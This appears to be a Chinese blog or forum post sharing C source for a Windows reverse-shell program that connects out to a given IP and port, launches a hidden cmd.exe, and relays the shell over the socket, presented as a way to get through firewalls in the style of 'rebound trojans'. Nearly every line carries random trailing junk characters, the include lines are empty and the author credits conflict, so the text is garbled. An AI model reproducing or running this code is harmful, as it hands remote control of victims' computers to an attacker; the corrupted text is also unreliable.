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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 sx7eC  
*^g:P^4  
/* ============================== W#^2#sjO  
Rebound port in Windows NT 0 t Fkd  
By wind,2006/7 dCE0$3'5  
===============================*/ < vL,*.zd  
#include 1;C+$  
#include =Q+;=-1  
NG--6\  
#pragma comment(lib,"wsock32.lib") n,jKmA  
hlV=qfc  
void OutputShell(); igkYX!0#8O  
SOCKET sClient; 1Yq?X:  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 8B /\U'  
e5*ni/P  
void main(int argc,char **argv) S]bmS6#  
{ -K q5i  
WSADATA stWsaData; \#f <!R4  
int nRet; UYk/v]ZA  
SOCKADDR_IN stSaiClient,stSaiServer; OBMTgZHxv  
kO,zZF&  
if(argc != 3) V}J)\VZ2#  
{ w1hPc!I  
printf("Useage:\n\rRebound DestIP DestPort\n"); kw#;w=\>R{  
return; D>HOn^   
} 6ys &zy  
iI\oz&!vH  
WSAStartup(MAKEWORD(2,2),&stWsaData); [0(B>a3J  
N/Z2hn/m  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); YUx.BZf7  
`);AW(Q  
stSaiClient.sin_family = AF_INET; Xnz3p"  
stSaiClient.sin_port = htons(0); 6hlc1?  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); oI=fx Sjd  
ukIQr/k  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) q@Zn|NR  
{ 9f2UgNqe9  
printf("Bind Socket Failed!\n"); G~Hzec{#tg  
return; eFaO7mz5V%  
} "]"|"0#i  
1M}5>V{  
stSaiServer.sin_family = AF_INET; /.3}aj;6  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); RZHd9v$  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 2[Z,J%:0  
'9S8}q  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ! ='rc-E  
{ 'JCZ]pZ  
printf("Connect Error!"); VXYK?Qc'  
return; S& S Q  
} OHeT,@(mh  
OutputShell(); 8"U. Hnu  
} Fgp]l2*  
mp=z  
void OutputShell() !D@ZYK;  
{ 7uKNd *%  
char szBuff[1024]; { &"CH]r  
SECURITY_ATTRIBUTES stSecurityAttributes; ox(j^x]NC  
OSVERSIONINFO stOsversionInfo; jE}33"  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; &^#VN%{  
STARTUPINFO stStartupInfo; H7d/X  
char *szShell; +wEac g>>E  
PROCESS_INFORMATION stProcessInformation; *]AdUEV?  
unsigned long lBytesRead; bL'aB{s  
Jll-`b 1  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); P* w9 ,  
}\%Fi/6Z{  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); K%a%a6k`  
stSecurityAttributes.lpSecurityDescriptor = 0; t/cY=Wp  
stSecurityAttributes.bInheritHandle = TRUE; $"FQj4%d  
jBgP$g  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); =<{np  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); )+[ gd/<C.  
P0W*C6&71|  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); *pSQU=dmS  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d{SG Cr 9d  
stStartupInfo.wShowWindow = SW_HIDE; Jth[DUH8H  
stStartupInfo.hStdInput = hReadPipe; n@C[@?D  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; pimtiQqC  
{U1?Et#  
GetVersionEx(&stOsversionInfo); Ove<mFI\  
l|/ep:x8  
switch(stOsversionInfo.dwPlatformId) P!H_1RwXKC  
{ *1v[kWa?  
case 1: q=%RDG+  
szShell = "command.com"; 9;r)#3Q[^  
break; [P&7i57  
default: mS^tX i5hg  
szShell = "cmd.exe"; KVT-P};jy*  
break; A/u)# ^\  
} zG ^$"f2  
?AJKBW^  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 7* yzEM  
*~t6(v?  
send(sClient,szMsg,77,0); v.pBX<  
while(1) tn Pv70m  
{ X $ s:>[H  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); t=Xv;=daB  
if(lBytesRead) SZ,YS 4M  
{ |y0(Q V  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); JT3-AAi[Z  
send(sClient,szBuff,lBytesRead,0); 3QG7C{  
} K_RjX>q%N  
else +89*)pk   
{ 1guJG_;z  
lBytesRead=recv(sClient,szBuff,1024,0); | N[<x@  
if(lBytesRead<=0) break; t5y;CxL  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); NWMFtT  
} [R=yF ~-  
} iV&6nh(  
/ c AUl  
return; Dp)=0<$y  
}
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